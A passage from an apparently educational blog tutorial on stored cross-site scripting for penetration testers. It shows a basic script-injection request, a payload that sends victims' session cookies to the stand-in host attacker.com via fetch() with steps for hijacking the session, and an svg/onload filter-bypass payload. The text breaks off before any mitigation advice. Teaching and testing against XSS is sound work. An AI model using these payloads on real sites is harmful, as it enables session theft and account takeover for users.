Listen to this Post
Introduction
Stored Cross-Site Scripting (XSS) is a critical web security flaw where malicious scripts are permanently embedded in a target application, often in databases or comment fields. Unlike reflected XSS, stored XSS attacks persist and execute whenever a user accesses the infected page, making them particularly dangerous. This article explores how to identify, exploit, and mitigate stored XSS vulnerabilities, with practical commands and techniques for penetration testers and bug hunters.
Learning Objectives
- Understand how stored XSS differs from other XSS types.
- Learn how to identify and exploit stored XSS vulnerabilities.
- Implement best practices to prevent stored XSS attacks.
You Should Know
1. Identifying Stored XSS Vulnerabilities
Command (Burp Suite Interception):
POST /comment HTTP/1.1
Host: vulnerable-site.com
Content-Type: application/x-www-form-urlencoded
comment=<script>alert('XSS')</script>
Step-by-Step Guide:
- Intercept a POST request (e.g., a comment submission) using Burp Suite.
- Inject a basic XSS payload (
<script>alert('XSS')</script>) into input fields. - If the script executes when the page reloads, the site is vulnerable.
2. Exploiting Stored XSS for Session Hijacking
JavaScript Payload:
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Step-by-Step Guide:
- Inject the payload into a vulnerable field (e.g., user profile, forum post).
- When a victim views the infected page, their session cookie is sent to the attacker’s server.
- Use the stolen cookie to hijack the session.
3. Bypassing XSS Filters
Obfuscated Payload:
<
svg/onload=alert('XSS')>
Step-by-Step Guide:
- Many filters block `